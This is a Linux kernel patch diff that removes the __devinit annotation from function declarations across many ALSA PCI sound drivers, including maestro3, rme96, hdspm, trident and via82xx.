diff --git a/sound/pci/lx6464es/lx_core.h b/sound/pci/lx6464es/lx_core.h
index 4d7ff79..5ec5e04 100644
--- a/sound/pci/lx6464es/lx_core.h
+++ b/sound/pci/lx6464es/lx_core.h
@@ -109,7 +109,7 @@ struct lx_rmh {
 
 
 /* low-level dsp access */
-int __devinit lx_dsp_get_version(struct lx6464es *chip, u32 *rdsp_version);
+int lx_dsp_get_version(struct lx6464es *chip, u32 *rdsp_version);
 int lx_dsp_get_clock_frequency(struct lx6464es *chip, u32 *rfreq);
 int lx_dsp_set_granularity(struct lx6464es *chip, u32 gran);
 int lx_dsp_read_async_events(struct lx6464es *chip, u32 *data);
diff --git a/sound/pci/maestro3.c b/sound/pci/maestro3.c
index 8b76a52..7dc0cc8 100644
--- a/sound/pci/maestro3.c
+++ b/sound/pci/maestro3.c
@@ -1856,8 +1856,7 @@ static struct snd_pcm_ops snd_m3_capture_ops = {
 	.pointer =	snd_m3_pcm_pointer,
 };
 
-static int __devinit
-snd_m3_pcm(struct snd_m3 * chip, int device)
+static int snd_m3_pcm(struct snd_m3 * chip, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -2031,7 +2030,7 @@ static void snd_m3_ac97_reset(struct snd_m3 *chip)
 #endif
 }
 
-static int __devinit snd_m3_mixer(struct snd_m3 *chip)
+static int snd_m3_mixer(struct snd_m3 *chip)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -2173,7 +2172,7 @@ static void snd_m3_assp_init(struct snd_m3 *chip)
 }
 
 
-static int __devinit snd_m3_assp_client_init(struct snd_m3 *chip, struct m3_dma *s, int index)
+static int snd_m3_assp_client_init(struct snd_m3 *chip, struct m3_dma *s, int index)
 {
 	int data_bytes = 2 * ( MINISRC_TMP_BUFFER_SIZE / 2 + 
 			       MINISRC_IN_BUFFER_SIZE / 2 +
@@ -2488,7 +2487,7 @@ static SIMPLE_DEV_PM_OPS(m3_pm, m3_suspend, m3_resume);
 #endif /* CONFIG_PM_SLEEP */
 
 #ifdef CONFIG_SND_MAESTRO3_INPUT
-static int __devinit snd_m3_input_register(struct snd_m3 *chip)
+static int snd_m3_input_register(struct snd_m3 *chip)
 {
 	struct input_dev *input_dev;
 	int err;
@@ -2532,8 +2531,7 @@ static int snd_m3_dev_free(struct snd_device *device)
 	return snd_m3_free(chip);
 }
 
-static int __devinit
-snd_m3_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_m3_create(struct snd_card *card, struct pci_dev *pci,
 	      int enable_amp,
 	      int amp_gpio,
 	      struct snd_m3 **chip_ret)
@@ -2700,8 +2698,7 @@ snd_m3_create(struct snd_card *card, struct pci_dev *pci,
 
 /*
  */
-static int __devinit
-snd_m3_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int snd_m3_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct snd_card *card;
diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
index c5becc9..f744df5 100644
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -1004,7 +1004,7 @@ static int snd_mixart_chip_dev_free(struct snd_device *device)
 
 /*
  */
-static int __devinit snd_mixart_create(struct mixart_mgr *mgr, struct snd_card *card, int idx)
+static int snd_mixart_create(struct mixart_mgr *mgr, struct snd_card *card, int idx)
 {
 	int err;
 	struct snd_mixart *chip;
@@ -1180,7 +1180,7 @@ static void snd_mixart_proc_read(struct snd_info_entry *entry,
 	} /* endif elf loaded */
 }
 
-static void __devinit snd_mixart_proc_init(struct snd_mixart *chip)
+static void snd_mixart_proc_init(struct snd_mixart *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1209,7 +1209,7 @@ static void __devinit snd_mixart_proc_init(struct snd_mixart *chip)
 /*
  *    probe function - creates the card manager
  */
-static int __devinit snd_mixart_probe(struct pci_dev *pci,
+static int snd_mixart_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/nm256/nm256.c b/sound/pci/nm256/nm256.c
index 77b1811..6c06e85 100644
--- a/sound/pci/nm256/nm256.c
+++ b/sound/pci/nm256/nm256.c
@@ -928,8 +928,7 @@ static struct snd_pcm_ops snd_nm256_capture_ops = {
 	.mmap =		snd_pcm_lib_mmap_iomem,
 };
 
-static int __devinit
-snd_nm256_pcm(struct nm256 *chip, int device)
+static int snd_nm256_pcm(struct nm256 *chip, int device)
 {
 	struct snd_pcm *pcm;
 	int i, err;
@@ -1295,8 +1294,7 @@ snd_nm256_ac97_reset(struct snd_ac97 *ac97)
 }
 
 /* create an ac97 mixer interface */
-static int __devinit
-snd_nm256_mixer(struct nm256 *chip)
+static int snd_nm256_mixer(struct nm256 *chip)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -1336,8 +1334,7 @@ snd_nm256_mixer(struct nm256 *chip)
  * RAM.
  */
 
-static int __devinit
-snd_nm256_peek_for_sig(struct nm256 *chip)
+static int snd_nm256_peek_for_sig(struct nm256 *chip)
 {
 	/* The signature is located 1K below the end of video RAM.  */
 	void __iomem *temp;
@@ -1472,8 +1469,7 @@ static int snd_nm256_dev_free(struct snd_device *device)
 	return snd_nm256_free(chip);
 }
 
-static int __devinit
-snd_nm256_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_nm256_create(struct snd_card *card, struct pci_dev *pci,
 		 struct nm256 **chip_ret)
 {
 	struct nm256 *chip;
@@ -1650,7 +1646,7 @@ static struct snd_pci_quirk nm256_quirks[] __devinitdata = {
 };
 
 
-static int __devinit snd_nm256_probe(struct pci_dev *pci,
+static int snd_nm256_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/oxygen/oxygen.c b/sound/pci/oxygen/oxygen.c
index d061c79..7fbe1cb 100644
--- a/sound/pci/oxygen/oxygen.c
+++ b/sound/pci/oxygen/oxygen.c
@@ -756,7 +756,7 @@ static const struct oxygen_model model_generic = {
 	.adc_i2s_format = OXYGEN_I2S_FORMAT_LJUST,
 };
 
-static int __devinit get_oxygen_model(struct oxygen *chip,
+static int get_oxygen_model(struct oxygen *chip,
 				      const struct pci_device_id *id)
 {
 	static const char *const names[] = {
@@ -848,7 +848,7 @@ static int __devinit get_oxygen_model(struct oxygen *chip,
 	return 0;
 }
 
-static int __devinit generic_oxygen_probe(struct pci_dev *pci,
+static int generic_oxygen_probe(struct pci_dev *pci,
 					  const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/oxygen/virtuoso.c b/sound/pci/oxygen/virtuoso.c
index ebae284..4a29c3a 100644
--- a/sound/pci/oxygen/virtuoso.c
+++ b/sound/pci/oxygen/virtuoso.c
@@ -58,7 +58,7 @@ static DEFINE_PCI_DEVICE_TABLE(xonar_ids) = {
 };
 MODULE_DEVICE_TABLE(pci, xonar_ids);
 
-static int __devinit get_xonar_model(struct oxygen *chip,
+static int get_xonar_model(struct oxygen *chip,
 				     const struct pci_device_id *id)
 {
 	if (get_xonar_pcm179x_model(chip, id) >= 0)
@@ -70,7 +70,7 @@ static int __devinit get_xonar_model(struct oxygen *chip,
 	return -EINVAL;
 }
 
-static int __devinit xonar_probe(struct pci_dev *pci,
+static int xonar_probe(struct pci_dev *pci,
 				 const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/oxygen/xonar_cs43xx.c b/sound/pci/oxygen/xonar_cs43xx.c
index c8febf4..babb5ea 100644
--- a/sound/pci/oxygen/xonar_cs43xx.c
+++ b/sound/pci/oxygen/xonar_cs43xx.c
@@ -431,7 +431,7 @@ static const struct oxygen_model model_xonar_d1 = {
 	.adc_i2s_format = OXYGEN_I2S_FORMAT_LJUST,
 };
 
-int __devinit get_xonar_cs43xx_model(struct oxygen *chip,
+int get_xonar_cs43xx_model(struct oxygen *chip,
 				     const struct pci_device_id *id)
 {
 	switch (id->subdevice) {
diff --git a/sound/pci/oxygen/xonar_pcm179x.c b/sound/pci/oxygen/xonar_pcm179x.c
index 8433aa7..60785a6 100644
--- a/sound/pci/oxygen/xonar_pcm179x.c
+++ b/sound/pci/oxygen/xonar_pcm179x.c
@@ -1087,7 +1087,7 @@ static const struct oxygen_model model_xonar_st = {
 	.adc_i2s_format = OXYGEN_I2S_FORMAT_LJUST,
 };
 
-int __devinit get_xonar_pcm179x_model(struct oxygen *chip,
+int get_xonar_pcm179x_model(struct oxygen *chip,
 				      const struct pci_device_id *id)
 {
 	switch (id->subdevice) {
diff --git a/sound/pci/oxygen/xonar_wm87x6.c b/sound/pci/oxygen/xonar_wm87x6.c
index b555b62..9fe2ed9 100644
--- a/sound/pci/oxygen/xonar_wm87x6.c
+++ b/sound/pci/oxygen/xonar_wm87x6.c
@@ -1320,7 +1320,7 @@ static const struct oxygen_model model_xonar_hdav_slim = {
 	.adc_i2s_format = OXYGEN_I2S_FORMAT_LJUST,
 };
 
-int __devinit get_xonar_wm87x6_model(struct oxygen *chip,
+int get_xonar_wm87x6_model(struct oxygen *chip,
 				     const struct pci_device_id *id)
 {
 	switch (id->subdevice) {
diff --git a/sound/pci/pcxhr/pcxhr.c b/sound/pci/pcxhr/pcxhr.c
index 2007a33..cc2008a 100644
--- a/sound/pci/pcxhr/pcxhr.c
+++ b/sound/pci/pcxhr/pcxhr.c
@@ -1203,7 +1203,7 @@ static int pcxhr_chip_dev_free(struct snd_device *device)
 
 /*
  */
-static int __devinit pcxhr_create(struct pcxhr_mgr *mgr,
+static int pcxhr_create(struct pcxhr_mgr *mgr,
 				  struct snd_card *card, int idx)
 {
 	int err;
@@ -1453,7 +1453,7 @@ static void pcxhr_proc_ltc(struct snd_info_entry *entry,
 	}
 }
 
-static void __devinit pcxhr_proc_init(struct snd_pcxhr *chip)
+static void pcxhr_proc_init(struct snd_pcxhr *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1513,7 +1513,7 @@ static int pcxhr_free(struct pcxhr_mgr *mgr)
 /*
  *    probe function - creates the card manager
  */
-static int __devinit pcxhr_probe(struct pci_dev *pci,
+static int pcxhr_probe(struct pci_dev *pci,
 				 const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/riptide/riptide.c b/sound/pci/riptide/riptide.c
index 9638a5a..42da7d5 100644
--- a/sound/pci/riptide/riptide.c
+++ b/sound/pci/riptide/riptide.c
@@ -1706,8 +1706,7 @@ static struct snd_pcm_ops snd_riptide_capture_ops = {
 	.pointer = snd_riptide_pointer,
 };
 
-static int __devinit
-snd_riptide_pcm(struct snd_riptide *chip, int device, struct snd_pcm **rpcm)
+static int snd_riptide_pcm(struct snd_riptide *chip, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1857,8 +1856,7 @@ static int snd_riptide_dev_free(struct snd_device *device)
 	return snd_riptide_free(chip);
 }
 
-static int __devinit
-snd_riptide_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_riptide_create(struct snd_card *card, struct pci_dev *pci,
 		   struct snd_riptide **rchip)
 {
 	struct snd_riptide *chip;
@@ -1993,7 +1991,7 @@ snd_riptide_proc_read(struct snd_info_entry *entry,
 	snd_iprintf(buffer, "\n");
 }
 
-static void __devinit snd_riptide_proc_init(struct snd_riptide *chip)
+static void snd_riptide_proc_init(struct snd_riptide *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -2001,7 +1999,7 @@ static void __devinit snd_riptide_proc_init(struct snd_riptide *chip)
 		snd_info_set_text_ops(entry, chip, snd_riptide_proc_read);
 }
 
-static int __devinit snd_riptide_mixer(struct snd_riptide *chip)
+static int snd_riptide_mixer(struct snd_riptide *chip)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -2027,8 +2025,7 @@ static int __devinit snd_riptide_mixer(struct snd_riptide *chip)
 
 #ifdef SUPPORT_JOYSTICK
 
-static int __devinit
-snd_riptide_joystick_probe(struct pci_dev *pci, const struct pci_device_id *id)
+static int snd_riptide_joystick_probe(struct pci_dev *pci, const struct pci_device_id *id)
 {
 	static int dev;
 	struct gameport *gameport;
@@ -2071,8 +2068,7 @@ static void __devexit snd_riptide_joystick_remove(struct pci_dev *pci)
 }
 #endif
 
-static int __devinit
-snd_card_riptide_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int snd_card_riptide_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct snd_card *card;
diff --git a/sound/pci/rme32.c b/sound/pci/rme32.c
index d7db4d3..1378c3c 100644
--- a/sound/pci/rme32.c
+++ b/sound/pci/rme32.c
@@ -1332,7 +1332,7 @@ snd_rme32_free_adat_pcm(struct snd_pcm *pcm)
 	rme32->adat_pcm = NULL;
 }
 
-static int __devinit snd_rme32_create(struct rme32 * rme32)
+static int snd_rme32_create(struct rme32 * rme32)
 {
 	struct pci_dev *pci = rme32->pci;
 	int err;
@@ -1554,7 +1554,7 @@ snd_rme32_proc_read(struct snd_info_entry * entry, struct snd_info_buffer *buffe
 	}
 }
 
-static void __devinit snd_rme32_proc_init(struct rme32 * rme32)
+static void snd_rme32_proc_init(struct rme32 * rme32)
 {
 	struct snd_info_entry *entry;
 
@@ -1922,8 +1922,7 @@ static void snd_rme32_card_free(struct snd_card *card)
 	snd_rme32_free(card->private_data);
 }
 
-static int __devinit
-snd_rme32_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int snd_rme32_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct rme32 *rme32;
diff --git a/sound/pci/rme96.c b/sound/pci/rme96.c
index 4486e75..c145d80 100644
--- a/sound/pci/rme96.c
+++ b/sound/pci/rme96.c
@@ -270,7 +270,7 @@ snd_rme96_playback_pointer(struct snd_pcm_substream *substream);
 static snd_pcm_uframes_t
 snd_rme96_capture_pointer(struct snd_pcm_substream *substream);
 
-static void __devinit 
+static void
 snd_rme96_proc_init(struct rme96 *rme96);
 
 static int
@@ -1538,8 +1538,7 @@ snd_rme96_free_adat_pcm(struct snd_pcm *pcm)
 	rme96->adat_pcm = NULL;
 }
 
-static int __devinit
-snd_rme96_create(struct rme96 *rme96)
+static int snd_rme96_create(struct rme96 *rme96)
 {
 	struct pci_dev *pci = rme96->pci;
 	int err;
@@ -1786,7 +1785,7 @@ snd_rme96_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffer
 	}
 }
 
-static void __devinit 
+static void
 snd_rme96_proc_init(struct rme96 *rme96)
 {
 	struct snd_info_entry *entry;
@@ -2326,8 +2325,7 @@ static void snd_rme96_card_free(struct snd_card *card)
 	snd_rme96_free(card->private_data);
 }
 
-static int __devinit
-snd_rme96_probe(struct pci_dev *pci,
+static int snd_rme96_probe(struct pci_dev *pci,
 		const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
index 916aff1..bff2f60 100644
--- a/sound/pci/rme9652/hdsp.c
+++ b/sound/pci/rme9652/hdsp.c
@@ -4020,7 +4020,7 @@ static void snd_hdsp_free_buffers(struct hdsp *hdsp)
 	snd_hammerfall_free_buffer(&hdsp->playback_dma_buf, hdsp->pci);
 }
 
-static int __devinit snd_hdsp_initialize_memory(struct hdsp *hdsp)
+static int snd_hdsp_initialize_memory(struct hdsp *hdsp)
 {
 	unsigned long pb_bus, cb_bus;
 
@@ -5408,7 +5408,7 @@ static int hdsp_request_fw_loader(struct hdsp *hdsp)
 }
 #endif
 
-static int __devinit snd_hdsp_create(struct snd_card *card,
+static int snd_hdsp_create(struct snd_card *card,
 				     struct hdsp *hdsp)
 {
 	struct pci_dev *pci = hdsp->pci;
@@ -5586,7 +5586,7 @@ static void snd_hdsp_card_free(struct snd_card *card)
 		snd_hdsp_free(hdsp);
 }
 
-static int __devinit snd_hdsp_probe(struct pci_dev *pci,
+static int snd_hdsp_probe(struct pci_dev *pci,
 				    const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c
index 2435cb5..4724808 100644
--- a/sound/pci/rme9652/hdspm.c
+++ b/sound/pci/rme9652/hdspm.c
@@ -962,9 +962,9 @@ static DEFINE_PCI_DEVICE_TABLE(snd_hdspm_ids) = {
 MODULE_DEVICE_TABLE(pci, snd_hdspm_ids);
 
 /* prototypes */
-static int __devinit snd_hdspm_create_alsa_devices(struct snd_card *card,
+static int snd_hdspm_create_alsa_devices(struct snd_card *card,
 						   struct hdspm * hdspm);
-static int __devinit snd_hdspm_create_pcm(struct snd_card *card,
+static int snd_hdspm_create_pcm(struct snd_card *card,
 					  struct hdspm * hdspm);
 
 static inline void snd_hdspm_initialize_midi_flush(struct hdspm *hdspm);
@@ -1845,7 +1845,7 @@ static struct snd_rawmidi_ops snd_hdspm_midi_input =
 	.trigger =	snd_hdspm_midi_input_trigger,
 };
 
-static int __devinit snd_hdspm_create_midi (struct snd_card *card,
+static int snd_hdspm_create_midi (struct snd_card *card,
 					    struct hdspm *hdspm, int id)
 {
 	int err;
@@ -5233,7 +5233,7 @@ static void snd_hdspm_proc_ports_out(struct snd_info_entry *entry,
 }
 
 
-static void __devinit snd_hdspm_proc_init(struct hdspm *hdspm)
+static void snd_hdspm_proc_init(struct hdspm *hdspm)
 {
 	struct snd_info_entry *entry;
 
@@ -6369,7 +6369,7 @@ static struct snd_pcm_ops snd_hdspm_capture_ops = {
 	.page = snd_pcm_sgbuf_ops_page,
 };
 
-static int __devinit snd_hdspm_create_hwdep(struct snd_card *card,
+static int snd_hdspm_create_hwdep(struct snd_card *card,
 					    struct hdspm * hdspm)
 {
 	struct snd_hwdep *hw;
@@ -6395,7 +6395,7 @@ static int __devinit snd_hdspm_create_hwdep(struct snd_card *card,
 /*------------------------------------------------------------
    memory interface
  ------------------------------------------------------------*/
-static int __devinit snd_hdspm_preallocate_memory(struct hdspm *hdspm)
+static int snd_hdspm_preallocate_memory(struct hdspm *hdspm)
 {
 	int err;
 	struct snd_pcm *pcm;
@@ -6436,7 +6436,7 @@ static void hdspm_set_sgbuf(struct hdspm *hdspm,
 
 
 /* ------------- ALSA Devices ---------------------------- */
-static int __devinit snd_hdspm_create_pcm(struct snd_card *card,
+static int snd_hdspm_create_pcm(struct snd_card *card,
 					  struct hdspm *hdspm)
 {
 	struct snd_pcm *pcm;
@@ -6472,7 +6472,7 @@ static inline void snd_hdspm_initialize_midi_flush(struct hdspm * hdspm)
 		snd_hdspm_flush_midi_input(hdspm, i);
 }
 
-static int __devinit snd_hdspm_create_alsa_devices(struct snd_card *card,
+static int snd_hdspm_create_alsa_devices(struct snd_card *card,
 						   struct hdspm * hdspm)
 {
 	int err, i;
@@ -6531,7 +6531,7 @@ static int __devinit snd_hdspm_create_alsa_devices(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_hdspm_create(struct snd_card *card,
+static int snd_hdspm_create(struct snd_card *card,
 		struct hdspm *hdspm) {
 
 	struct pci_dev *pci = hdspm->pci;
@@ -6905,7 +6905,7 @@ static void snd_hdspm_card_free(struct snd_card *card)
 }
 
 
-static int __devinit snd_hdspm_probe(struct pci_dev *pci,
+static int snd_hdspm_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
index 125d745..077cfb7 100644
--- a/sound/pci/rme9652/rme9652.c
+++ b/sound/pci/rme9652/rme9652.c
@@ -1757,7 +1757,7 @@ snd_rme9652_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buff
 	snd_iprintf(buffer, "\n");
 }
 
-static void __devinit snd_rme9652_proc_init(struct snd_rme9652 *rme9652)
+static void snd_rme9652_proc_init(struct snd_rme9652 *rme9652)
 {
 	struct snd_info_entry *entry;
 
@@ -1788,7 +1788,7 @@ static int snd_rme9652_free(struct snd_rme9652 *rme9652)
 	return 0;
 }
 
-static int __devinit snd_rme9652_initialize_memory(struct snd_rme9652 *rme9652)
+static int snd_rme9652_initialize_memory(struct snd_rme9652 *rme9652)
 {
 	unsigned long pb_bus, cb_bus;
 
@@ -2414,7 +2414,7 @@ static struct snd_pcm_ops snd_rme9652_capture_ops = {
 	.copy =		snd_rme9652_capture_copy,
 };
 
-static int __devinit snd_rme9652_create_pcm(struct snd_card *card,
+static int snd_rme9652_create_pcm(struct snd_card *card,
 					 struct snd_rme9652 *rme9652)
 {
 	struct snd_pcm *pcm;
@@ -2438,7 +2438,7 @@ static int __devinit snd_rme9652_create_pcm(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_rme9652_create(struct snd_card *card,
+static int snd_rme9652_create(struct snd_card *card,
 				     struct snd_rme9652 *rme9652,
 				     int precise_ptr)
 {
@@ -2578,7 +2578,7 @@ static void snd_rme9652_card_free(struct snd_card *card)
 		snd_rme9652_free(rme9652);
 }
 
-static int __devinit snd_rme9652_probe(struct pci_dev *pci,
+static int snd_rme9652_probe(struct pci_dev *pci,
 				       const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
index e1786ef..8548deb 100644
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -894,7 +894,7 @@ static struct snd_pcm_ops sis_capture_ops = {
 	.pointer = sis_pcm_pointer,
 };
 
-static int __devinit sis_pcm_create(struct sis7019 *sis)
+static int sis_pcm_create(struct sis7019 *sis)
 {
 	struct snd_pcm *pcm;
 	int rc;
@@ -1013,7 +1013,7 @@ static unsigned short sis_ac97_read(struct snd_ac97 *ac97, unsigned short reg)
 					(reg << 8) | cmd[ac97->num]);
 }
 
-static int __devinit sis_mixer_create(struct sis7019 *sis)
+static int sis_mixer_create(struct sis7019 *sis)
 {
 	struct snd_ac97_bus *bus;
 	struct snd_ac97_template ac97;
@@ -1326,7 +1326,7 @@ static int sis_alloc_suspend(struct sis7019 *sis)
 	return 0;
 }
 
-static int __devinit sis_chip_create(struct snd_card *card,
+static int sis_chip_create(struct snd_card *card,
 					struct pci_dev *pci)
 {
 	struct sis7019 *sis = card->private_data;
@@ -1417,7 +1417,7 @@ error_out:
 	return rc;
 }
 
-static int __devinit snd_sis7019_probe(struct pci_dev *pci,
+static int snd_sis7019_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/sonicvibes.c b/sound/pci/sonicvibes.c
index bc5ca1d2..ead7218 100644
--- a/sound/pci/sonicvibes.c
+++ b/sound/pci/sonicvibes.c
@@ -877,7 +877,7 @@ static struct snd_pcm_ops snd_sonicvibes_capture_ops = {
 	.pointer =	snd_sonicvibes_capture_pointer,
 };
 
-static int __devinit snd_sonicvibes_pcm(struct sonicvibes * sonic, int device, struct snd_pcm ** rpcm)
+static int snd_sonicvibes_pcm(struct sonicvibes * sonic, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1118,7 +1118,7 @@ static void snd_sonicvibes_master_free(struct snd_kcontrol *kcontrol)
 	sonic->master_volume = NULL;
 }
 
-static int __devinit snd_sonicvibes_mixer(struct sonicvibes * sonic)
+static int snd_sonicvibes_mixer(struct sonicvibes * sonic)
 {
 	struct snd_card *card;
 	struct snd_kcontrol *kctl;
@@ -1175,7 +1175,7 @@ static void snd_sonicvibes_proc_read(struct snd_info_entry *entry,
 	snd_iprintf(buffer, "MIDI to ext. Tx  : %s\n", tmp & 0x04 ? "on" : "off");
 }
 
-static void __devinit snd_sonicvibes_proc_init(struct sonicvibes * sonic)
+static void snd_sonicvibes_proc_init(struct sonicvibes * sonic)
 {
 	struct snd_info_entry *entry;
 
@@ -1191,7 +1191,7 @@ static void __devinit snd_sonicvibes_proc_init(struct sonicvibes * sonic)
 static struct snd_kcontrol_new snd_sonicvibes_game_control __devinitdata =
 SONICVIBES_SINGLE("Joystick Speed", 0, SV_IREG_GAME_PORT, 1, 15, 0);
 
-static int __devinit snd_sonicvibes_create_gameport(struct sonicvibes *sonic)
+static int snd_sonicvibes_create_gameport(struct sonicvibes *sonic)
 {
 	struct gameport *gp;
 
@@ -1246,7 +1246,7 @@ static int snd_sonicvibes_dev_free(struct snd_device *device)
 	return snd_sonicvibes_free(sonic);
 }
 
-static int __devinit snd_sonicvibes_create(struct snd_card *card,
+static int snd_sonicvibes_create(struct snd_card *card,
 					struct pci_dev *pci,
 					int reverb,
 					int mge,
@@ -1422,7 +1422,7 @@ static void snd_sonicvibes_midi_input_close(struct snd_mpu401 * mpu)
 	outb(sonic->irqmask |= SV_MIDI_MASK, SV_REG(sonic, IRQMASK));
 }
 
-static int __devinit snd_sonicvibes_midi(struct sonicvibes * sonic,
+static int snd_sonicvibes_midi(struct sonicvibes * sonic,
 					 struct snd_rawmidi *rmidi)
 {
 	struct snd_mpu401 * mpu = rmidi->private_data;
@@ -1441,7 +1441,7 @@ static int __devinit snd_sonicvibes_midi(struct sonicvibes * sonic,
 	return 0;
 }
 
-static int __devinit snd_sonic_probe(struct pci_dev *pci,
+static int snd_sonic_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/trident/trident.c b/sound/pci/trident/trident.c
index 8cec678..7594bc2 100644
--- a/sound/pci/trident/trident.c
+++ b/sound/pci/trident/trident.c
@@ -73,7 +73,7 @@ static DEFINE_PCI_DEVICE_TABLE(snd_trident_ids) = {
 
 MODULE_DEVICE_TABLE(pci, snd_trident_ids);
 
-static int __devinit snd_trident_probe(struct pci_dev *pci,
+static int snd_trident_probe(struct pci_dev *pci,
 				       const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/trident/trident_main.c b/sound/pci/trident/trident_main.c
index 06b10d1..1bf070b 100644
--- a/sound/pci/trident/trident_main.c
+++ b/sound/pci/trident/trident_main.c
@@ -2171,7 +2171,7 @@ static struct snd_pcm_ops snd_trident_spdif_7018_ops = {
   
   ---------------------------------------------------------------------------*/
 
-int __devinit snd_trident_pcm(struct snd_trident * trident,
+int snd_trident_pcm(struct snd_trident * trident,
 			      int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
@@ -2229,7 +2229,7 @@ int __devinit snd_trident_pcm(struct snd_trident * trident,
   
   ---------------------------------------------------------------------------*/
 
-int __devinit snd_trident_foldback_pcm(struct snd_trident * trident,
+int snd_trident_foldback_pcm(struct snd_trident * trident,
 				       int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *foldback;
@@ -2286,7 +2286,7 @@ int __devinit snd_trident_foldback_pcm(struct snd_trident * trident,
   
   ---------------------------------------------------------------------------*/
 
-int __devinit snd_trident_spdif_pcm(struct snd_trident * trident,
+int snd_trident_spdif_pcm(struct snd_trident * trident,
 				    int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *spdif;
@@ -2972,7 +2972,7 @@ static int snd_trident_pcm_mixer_free(struct snd_trident *trident, struct snd_tr
   
   ---------------------------------------------------------------------------*/
 
-static int __devinit snd_trident_mixer(struct snd_trident * trident, int pcm_spdif_device)
+static int snd_trident_mixer(struct snd_trident * trident, int pcm_spdif_device)
 {
 	struct snd_ac97_template _ac97;
 	struct snd_card *card = trident->card;
@@ -3191,7 +3191,7 @@ static int snd_trident_gameport_open(struct gameport *gameport, int mode)
 	}
 }
 
-int __devinit snd_trident_create_gameport(struct snd_trident *chip)
+int snd_trident_create_gameport(struct snd_trident *chip)
 {
 	struct gameport *gp;
 
@@ -3225,7 +3225,7 @@ static inline void snd_trident_free_gameport(struct snd_trident *chip)
 	}
 }
 #else
-int __devinit snd_trident_create_gameport(struct snd_trident *chip) { return -ENOSYS; }
+int snd_trident_create_gameport(struct snd_trident *chip) { return -ENOSYS; }
 static inline void snd_trident_free_gameport(struct snd_trident *chip) { }
 #endif /* CONFIG_GAMEPORT */
 
@@ -3329,7 +3329,7 @@ static void snd_trident_proc_read(struct snd_info_entry *entry,
 	}
 }
 
-static void __devinit snd_trident_proc_init(struct snd_trident * trident)
+static void snd_trident_proc_init(struct snd_trident * trident)
 {
 	struct snd_info_entry *entry;
 	const char *s = "trident";
@@ -3358,7 +3358,7 @@ static int snd_trident_dev_free(struct snd_device *device)
   
   ---------------------------------------------------------------------------*/
 
-static int __devinit snd_trident_tlb_alloc(struct snd_trident *trident)
+static int snd_trident_tlb_alloc(struct snd_trident *trident)
 {
 	int i;
 
@@ -3539,7 +3539,7 @@ static int snd_trident_sis_init(struct snd_trident *trident)
   
   ---------------------------------------------------------------------------*/
 
-int __devinit snd_trident_create(struct snd_card *card,
+int snd_trident_create(struct snd_card *card,
 		       struct pci_dev *pci,
 		       int pcm_streams,
 		       int pcm_spdif_device,
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index 5312cb2..7ac1fe2 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -1437,7 +1437,7 @@ static void init_viadev(struct via82xx *chip, int idx, unsigned int reg_offset,
 /*
  * create pcm instances for VIA8233, 8233C and 8235 (not 8233A)
  */
-static int __devinit snd_via8233_pcm_new(struct via82xx *chip)
+static int snd_via8233_pcm_new(struct via82xx *chip)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_chmap *chmap;
@@ -1505,7 +1505,7 @@ static int __devinit snd_via8233_pcm_new(struct via82xx *chip)
 /*
  * create pcm instances for VIA8233A
  */
-static int __devinit snd_via8233a_pcm_new(struct via82xx *chip)
+static int snd_via8233a_pcm_new(struct via82xx *chip)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_chmap *chmap;
